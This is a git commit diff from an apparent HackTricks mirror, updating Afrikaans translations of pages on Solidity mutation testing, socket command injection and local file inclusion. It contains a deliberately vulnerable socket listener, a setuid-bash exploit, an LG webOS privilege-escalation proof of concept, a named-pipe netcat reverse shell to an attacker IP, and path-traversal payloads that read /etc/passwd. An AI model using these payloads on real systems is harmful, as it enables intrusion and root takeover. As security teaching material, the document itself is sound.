mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/socket-command
This commit is contained in:
parent
092e8c1e26
commit
90c60955a2
@ -1,12 +1,12 @@
|
|||||||
# Mutasietoetsing vir Solidity met Slither (slither-mutate)
|
# Mutasietoetsing vir Solidity met Slither (slither-mutate)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Mutasietoetsing "toets jou toetse" deur stelselmatig klein veranderinge (mutants) in jou Solidity-kode in te bring en jou toetsuite weer te laat loop. As 'n toets faal, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant, wat 'n blinde kol in jou toetsuite aan die lig bring wat lyn-/vertakkingsdekking nie kan opspoor nie.
|
Mutasietoetsing "toets jou toetse" deur sistematies klein veranderinge (mutante) in jou Solidity-kode in te voer en jou toets-suite weer te laat loop. As 'n toets faal, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant en openbaar dit 'n blinde kol in jou toets-suite wat lyn-/tak-dekking nie kan opspoor nie.
|
||||||
|
|
||||||
Sleutelgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing toon of gedrag werklik deur toetse bekragtig word.
|
Hoofgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing toon of gedrag werklik bevestig word.
|
||||||
|
|
||||||
## Waarom dekking kan mislei
|
## Hoekom dekking kan mislei
|
||||||
|
|
||||||
Oorweeg hierdie eenvoudige drempelkontrole:
|
Oorweeg hierdie eenvoudige drempelkontrole:
|
||||||
```solidity
|
```solidity
|
||||||
@ -18,22 +18,22 @@ return false;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Eenheidstoetse wat slegs `n` waarde onder en `n` waarde bo die drempel nagaan kan 100% lyn-/takdekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bekragtig. 'n Refaktorering na `deposit >= 2 ether` sou steeds sulke toetse deurstaan en stilweg protokollogika breek.
|
Unit tests wat slegs 'n waarde onder en 'n waarde bo die drempel nagaan, kan 100% lyn-/tak-dekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bevestig. 'n Refaktor na `deposit >= 2 ether` sou steeds sulke toetse deurgaan en stilweg die protokollogika breek.
|
||||||
|
|
||||||
Mutasietoetsing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse faal.
|
Mutasietoetsing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse misluk.
|
||||||
|
|
||||||
## Algemene Solidity mutasie-operateurs
|
## Algemene Solidity mutasie-operateurs
|
||||||
|
|
||||||
Die mutasie-enjin van Slither pas baie klein, semantiekveranderende wysigings toe, soos:
|
Slither se mutasie-enjin pas baie klein, semantiekveranderende wysigings toe, soos:
|
||||||
- Operatorvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
|
- Operateurvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||||
- Toewysingsvervanging: `+=` → `=`, `-=` → `=`
|
- Toekenningvervanging: `+=` → `=`, `-=` → `=`
|
||||||
- Konstantevervanging: nie-nul → `0`, `true` ↔ `false`
|
- Konstante vervanging: nie-nul → `0`, `true` ↔ `false`
|
||||||
- Voorwaardelike negasie/vervanging binne `if`/lusse
|
- Voorwaardelike negasie/vervanging binne `if`/loops
|
||||||
- Kommentaar uitkommentarieer hele reëls (CR: Comment Replacement)
|
- Comment out whole lines (CR: Comment Replacement)
|
||||||
- Vervang 'n reël deur `revert()`
|
- Vervang 'n lyn met `revert()`
|
||||||
- Datatipe-wissel: bv. `int128` → `int64`
|
- Datatipruilings: e.g., `int128` → `int64`
|
||||||
|
|
||||||
Doel: Vernietig 100% van die gegenereerde mutants, of regverdig oorlewendes met duidelike redes.
|
Doel: Vernietig 100% van die gegenereerde mutante, of regverdig oorblywende mutante met duidelike motivering.
|
||||||
|
|
||||||
## Uitvoering van mutasietoetsing met slither-mutate
|
## Uitvoering van mutasietoetsing met slither-mutate
|
||||||
|
|
||||||
@ -44,13 +44,13 @@ Vereistes: Slither v0.10.2+.
|
|||||||
slither-mutate --help
|
slither-mutate --help
|
||||||
slither-mutate --list-mutators
|
slither-mutate --list-mutators
|
||||||
```
|
```
|
||||||
- Foundry voorbeeld (vang resultate en hou 'n volledige log):
|
- Foundry voorbeeld (vang resultate en hou 'n volledige logboek):
|
||||||
```bash
|
```bash
|
||||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
```
|
```
|
||||||
- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse hardloop (bv., `npx hardhat test`, `npm test`).
|
- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse uitvoer (bv., `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
Artefakte en verslae word standaard in `./mutation_campaign` gestoor. Ongevang (oorleefde) mutante word daarheen gekopieer vir inspeksie.
|
Artefakte en verslae word standaard in `./mutation_campaign` gestoor. Ongevang (oorlewende) mutants word daarheen gekopieer vir inspeksie.
|
||||||
|
|
||||||
### Verstaan die uitset
|
### Verstaan die uitset
|
||||||
|
|
||||||
@ -59,53 +59,53 @@ Verslagreëls lyk soos:
|
|||||||
INFO:Slither-Mutate:Mutating contract ContractName
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
- Die etiket in hakies is die mutator-alias (bv., `CR` = Comment Replacement).
|
- Die etiket in hakies is die mutator-alias (bv. `CR` = Comment Replacement).
|
||||||
- `UNCAUGHT` beteken dat toetse geslaag het onder die gemuteerde gedrag → ontbrekende assertie.
|
- `UNCAUGHT` beteken dat toetse deurgegaan het onder die gemuteerde gedrag → ontbrekende assertie.
|
||||||
|
|
||||||
## Verminder uitvoeringstyd: prioritiseer invloedryke mutante
|
## Verminder uitvoeringstyd: prioritiseer invloedryke mutants
|
||||||
|
|
||||||
Mutasieveldtogte kan ure of dae neem. Wenke om koste te verminder:
|
Mutasie-veldtogte kan ure of dae neem. Wenke om koste te verminder:
|
||||||
- Scope: Begin slegs met kritieke contracts/direktore, en brei dan uit.
|
- Omvang: Begin slegs met kritiese contracts/direktore, brei daarna uit.
|
||||||
- Prioritiseer mutators: As 'n hoë-prioriteits mutant op 'n reël oorleef (bv., hele reël uitgekommenteer), kan jy laer-prioriteits variante vir daardie reël oorslaan.
|
- Prioritiseer mutators: As 'n hoë-prioriteits mutant op 'n reël oorleef (bv. hele reël uitgekommenteer), kan jy laer-prioriteits variante vir daardie reël oorslaan.
|
||||||
- Paralleliseer toetse as jou runner dit toelaat; cache dependencies/builds.
|
- Paralleliseer toetse as jou runner dit toelaat; cache afhanklikhede en builds.
|
||||||
- Fail-fast: stop vroeg wanneer 'n verandering duidelik 'n assertie-gaping toon.
|
- Fail-fast: hou op vroeg wanneer 'n verandering duidelik 'n assertie-gaping aandui.
|
||||||
|
|
||||||
## Triage-werkstroom vir oorblywende mutante
|
## Triëringswerkvloei vir oorlewende mutants
|
||||||
|
|
||||||
1) Inspekteer die gemuteerde reël en gedrag.
|
1) Inspekteer die gemuteerde reël en gedrag.
|
||||||
- Reproduceer plaaslik deur die gemuteerde reël toe te pas en 'n gefokusde toets te hardloop.
|
- Reproduceer plaaslik deur die gemuteerde reël toe te pas en 'n gefokusde toets te hardloop.
|
||||||
|
|
||||||
2) Verskerp toetse om die toestand te assereer, nie net returnwaardes nie.
|
2) Versterk toetse om toestand te bevestig, nie net teruggegewe waardes nie.
|
||||||
- Voeg gelykheids-grenskontroles by (bv., toets drempel `==`).
|
- Voeg gelykheid-grenskontroles by (bv. toets drempel `==`).
|
||||||
- Asserteer post-voorwaardes: balanse, totale aanbod, magtigings-effekte, en uitgesaai gebeurtenisse.
|
- Bevestig post-voorwaardes: balanse, totale toevoer, magtigingseffekte en uitgesaai gebeurtenisse.
|
||||||
|
|
||||||
3) Vervang te permissiewe mocks met realistiese gedrag.
|
3) Vervang oormatige permissiewe mocks met realistiese gedrag.
|
||||||
- Verseker dat mocks transfers afdwing, foutpaaie en gebeurtenisuitstoot hanteer wat op-chain voorkom.
|
- Verseker dat mocks transfers, foutpade en gebeurtenisuitsendings afdwing wat on-chain plaasvind.
|
||||||
|
|
||||||
4) Voeg invariantes by vir fuzz-toetse.
|
4) Voeg invariantes by vir fuzz-toetse.
|
||||||
- Byv., behoud van waarde, nie-negatiewe balanse, magtigings-invariantes, monotone voorraad waar toepaslik.
|
- Bv.: behoud van waarde, nie-negatiewe balanse, magtiging-invariantes, monotoonse voorraad waar toepaslik.
|
||||||
|
|
||||||
5) Herhardloop slither-mutate totdat die oorblywende mutante gedood is of eksplisiet geregverdig.
|
5) Herhardloop slither-mutate totdat oorlewendes gedood is of uitdruklik geregverdig word.
|
||||||
|
|
||||||
## Gevallestudie: onthul ontbrekende toestand-asserties (Arkis protocol)
|
## Gevallestudie: blootlegging van ontbrekende toestand-asserties (Arkis protocol)
|
||||||
|
|
||||||
'n Mutasieveldtog tydens 'n oudit van die Arkis DeFi-protokol het oorblywende mutante soos die volgende na vore gebring:
|
'n Mutasie-veldtog tydens 'n oudit van die Arkis DeFi protocol het oorlewendes soos die onderstaande na vore gebring:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
Kommentering van die toekenning het die toetse nie gebreek nie, wat ontbrekende post-state-asserties bewys. Oorsaak: die kode het vertrou op 'n gebruiker-beheerde `_cmd.value` in plaas daarvan om werklike token-oordragte te valideer. 'n Aanvaller kon verwagte en werklike oordragte desinchroniseer om fondse uit te tap. Resultaat: hoë risiko vir die protokol se solvabiliteit.
|
Om die toewysing uit te kommentarieer het die toetse nie gebreek nie, wat bewys dat post-state-asserties ontbreek. Ware oorsaak: die kode het ` _cmd.value` deur die gebruiker beheer vertrou in plaas daarvan om werklike token-oordragte te valideer. ’n aanvaller kon verwagte en werklike oordragte desinkroniseer om fondse leeg te maak. Resultaat: risiko van hoë erns vir die protokol se solvensie.
|
||||||
|
|
||||||
Riglyne: Beskou oorlewende mutante wat waarde-oordragte, rekeningkunde of toegangbeheer raak as hoë-risiko totdat hulle uitgeskakel is.
|
Riglyn: Behandel oorlewendes wat waarde-oordragte, rekeninghouding of toegangsbeheer beïnvloed as hoë-risiko totdat hulle vernietig is.
|
||||||
|
|
||||||
## Praktiese kontrolelys
|
## Praktiese kontrolelys
|
||||||
|
|
||||||
- Voer 'n geteikende veldtog uit:
|
- Voer 'n geteikende veldtog uit:
|
||||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
- Prioritiseer oorlewende mutante en skryf toetse/invariante wat sou misluk onder die gemuteerde gedrag.
|
- Sorteer oorlewendes en skryf toetse/invariante wat sou misluk onder die gemuteerde gedrag.
|
||||||
- Kontroleer balanse, totale supply, magtigings en events.
|
- Bevestig balans, totale aanbod, magtigings en gebeure.
|
||||||
- Voeg grensgeval-toetse by (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
- Voeg grens-toetse by (`==`, oorvloei/ondervloei, nul-adres, nul-bedrag, leë arrays).
|
||||||
- Vervang onrealistiese mocks; simuleer faalmodusse.
|
- Vervang onrealistiese mocks; simuleer foutmodusse.
|
||||||
- Herhaal totdat alle mutante uitgeskakel is of met kommentaar en motivering geregverdig is.
|
- Herhaal totdat alle mutants vernietig is of met kommentaar en motivering geregverdig is.
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
@ -113,4 +113,4 @@ Riglyne: Beskou oorlewende mutante wat waarde-oordragte, rekeningkunde of toegan
|
|||||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,8 +1,10 @@
|
|||||||
|
# Socket Command Injection
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Voorbeeld van socket binding met Python
|
## Socket binding-voorbeeld met Python
|
||||||
|
|
||||||
In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, gaan **uitgevoer** word deur `os.system`. Ek weet dat jy dit nie in die natuur gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe 'n kode wat unix sockets gebruik lyk, en hoe om die invoer in die ergste geval te bestuur.
|
In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, sal deur `os.system` **uitgevoer** word. Ek weet dat jy dit nie in die wild gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe kode wat unix sockets gebruik lyk en hoe om die invoer in die slegste moontlike geval te hanteer.
|
||||||
```python:s.py
|
```python:s.py
|
||||||
import socket
|
import socket
|
||||||
import os, os.path
|
import os, os.path
|
||||||
@ -24,15 +26,50 @@ print(datagram)
|
|||||||
os.system(datagram)
|
os.system(datagram)
|
||||||
conn.close()
|
conn.close()
|
||||||
```
|
```
|
||||||
**Voer** die kode uit met python: `python s.py` en **kyk hoe die socket luister**:
|
**Voer** die kode uit met python: `python s.py` en **kontroleer hoe die socket luister**:
|
||||||
```python
|
```python
|
||||||
netstat -a -p --unix | grep "socket_test"
|
netstat -a -p --unix | grep "socket_test"
|
||||||
(Not all processes could be identified, non-owned process info
|
(Not all processes could be identified, non-owned process info
|
||||||
will not be shown, you would have to be root to see it all.)
|
will not be shown, you would have to be root to see it all.)
|
||||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||||
```
|
```
|
||||||
**Eksploiteer**
|
**Exploit**
|
||||||
```python
|
```python
|
||||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||||
```
|
```
|
||||||
|
## Gevalstudie: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||||
|
|
||||||
|
Sommige privileged daemons openbaar 'n root-owned UNIX socket wat untrusted input aanvaar en privileged actions koppel aan thread-IDs en signals. As die protocol 'n unprivileged client toelaat om te beïnvloed watter native thread geteikend word, kan jy moontlik 'n privileged code path trigger en escalate.
|
||||||
|
|
||||||
|
Waargenome patroon:
|
||||||
|
- Verbind met 'n root-owned socket (bv., /tmp/remotelogger).
|
||||||
|
- Skep 'n thread en bekom sy native thread id (TID).
|
||||||
|
- Stuur die TID (packed) plus padding as 'n request; ontvang 'n acknowledgement.
|
||||||
|
- Lewer 'n spesifieke signal aan daardie TID om die privileged behaviour te trigger.
|
||||||
|
|
||||||
|
Minimal PoC sketch:
|
||||||
|
```python
|
||||||
|
import socket, struct, os, threading, time
|
||||||
|
# Spawn a thread so we have a TID we can signal
|
||||||
|
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
|
||||||
|
tid = th.native_id # Python >=3.8
|
||||||
|
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||||
|
s.connect("/tmp/remotelogger")
|
||||||
|
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||||
|
s.recv(4) # sync
|
||||||
|
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||||
|
```
|
||||||
|
Om dit in 'n root shell te omskep, kan 'n eenvoudige named-pipe + nc patroon gebruik word:
|
||||||
|
```bash
|
||||||
|
rm -f /tmp/f; mkfifo /tmp/f
|
||||||
|
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||||
|
```
|
||||||
|
Aantekeninge:
|
||||||
|
- Hierdie klas foute ontstaan deur vertroue te stel in waardes wat afgelei is van onprivilegieerde kliënttoestand (TIDs) en dit te bind aan bevoorregte signal handlers of logika.
|
||||||
|
- Maak veiliger deur credentials op die socket af te dwing, boodskapformate te valideer, en bevoorregte operasies te ontkoppel van eksterne aangeleverde thread identifiers.
|
||||||
|
|
||||||
|
## Verwysings
|
||||||
|
|
||||||
|
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,54 +4,54 @@
|
|||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
**Remote File Inclusion (RFI):** Die lêer word vanaf 'n remote server gelaai (Beste: Jy kan die code skryf en die server sal dit uitvoer). In php is dit standaard **uitgeskakel** (**allow_url_include**).\
|
**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **ongeskakel** by verstek (**allow_url_include**).\
|
||||||
**Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
|
**Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
|
||||||
|
|
||||||
Die kwesbaarheid ontstaan wanneer die gebruiker op enigerlei wyse beheer oor die lêer het wat deur die bediener gelaai gaan word.
|
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
|
||||||
|
|
||||||
Kwetsbare **PHP functions**: require, require_once, include, include_once
|
Kwetsbare **PHP functions**: require, require_once, include, include_once
|
||||||
|
|
||||||
'n interessante hulpmiddel om hierdie kwesbaarheid te benut: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
'n Interessante hulpmiddel om hierdie kwesbaarheid te misbruik: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
|
|
||||||
## Blind - Interesting - LFI2RCE files
|
## Blind - Interessant - LFI2RCE lêers
|
||||||
```python
|
```python
|
||||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**Deur verskeie \*nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:**
|
**Deur verskeie *nix LFI-lysies te meng en meer paaie by te voeg het ek hierdie een geskep:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Probeer ook om `/` na `\` te verander\
|
Probeer ook om `/` met `\` te vervang.
|
||||||
Probeer ook om `../../../../../` by te voeg
|
Probeer ook om `../../../../../` by te voeg.
|
||||||
|
|
||||||
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
Samevoeging van verskeie woordlyste:
|
Samevoeging van verskillende wordlists:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Probeer ook om `/` na `\` te verander\
|
Probeer ook om `/` met `\` te vervang.
|
||||||
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
|
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
|
||||||
|
|
||||||
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Kyk na die LFI-lys van linux.
|
Kyk na die LFI-lys van linux.
|
||||||
|
|
||||||
## Basiese LFI and bypasses
|
## Basiese LFI en omseilings
|
||||||
|
|
||||||
Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **Null byte (%00)**
|
### **Null byte (%00)**
|
||||||
|
|
||||||
Bypass die toevoeging van meer karakters aan die einde van die gegewe string (bypass of: $\_GET\['param']."php")
|
Bypass die byvoeging van ekstra karakters aan die einde van die gegewe string (bypass of: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
@ -78,44 +78,44 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
### Van bestaande folder
|
### Vanaf bestaande vouer
|
||||||
|
|
||||||
Miskien kontroleer die back-end die folder pad:
|
Miskien kontroleer die back-end die vouerpad:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
### Verken lêerstelselgidse op 'n bediener
|
### Verken lêerstelsel-direktore op 'n bediener
|
||||||
|
|
||||||
Die lêerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaal van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder volg 'n gedetaileerde metode om dit te bereik:
|
Die lêerstelsel van 'n bediener kan rekursief verken word om direktore, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die direktorie-diepte en die peiling vir die bestaan van spesifieke gidse. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||||
|
|
||||||
1. **Bepaal gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd` lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
|
1. **Bepaal direktorie-diepte:** Bepaal die diepte van jou huidige direktorie deur suksesvol die `/etc/passwd`-lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Speur na gidse:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die depth met een verhoog word:
|
2. **Ondersoek vouers:** Voeg die naam van die vermoedelike gids (bv., `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **Interpreteer die uitslae:** Die bediener se reaksie dui aan of die gids bestaan:
|
3. **Interpreteer die Resultate:** Die bediener se reaksie dui aan of die gids bestaan:
|
||||||
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
|
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
|
||||||
- **Inhoud van `/etc/passwd`:** Die bestaan van die `private` gids word bevestig.
|
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig.
|
||||||
4. **Rekursiewe verkenning:** Gevonde gidses kan verder ondersoek word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes te gebruik.
|
4. **Rekursiewe Verkenning:** Ontdekte gidse kan verder probeer word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes te gebruik.
|
||||||
|
|
||||||
Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` 'n `private` gids bevat (aangesien die huidige gids op 'n diepte van 3 is), gebruik:
|
Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` `private` bevat (aangenome dat die huidige gids op 'n diepte van 3 is), gebruik:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
### **Path Truncation Technique**
|
### **Path Truncation Technique**
|
||||||
|
|
||||||
Path truncation is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies toevoeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
|
Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls wat ekstra karakters aan die einde van lêerpaaie toevoeg, te omseil. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die beoogde lêer wys.
|
||||||
|
|
||||||
In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||||
|
|
||||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` word almal as dieselfde pad behandel.
|
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` word almal as dieselfde pad beskou.
|
||||||
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
|
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
|
||||||
- Net so, as `.php` aan 'n lêerpad aangeheg is (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die geraakte lêer verander nie.
|
- Net so, as `.php` bygevoeg word by 'n lêerpad (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die toegang tot die lêer verander nie.
|
||||||
|
|
||||||
Die voorbeelde hieronder demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (inligting oor gebruikersrekeninge):
|
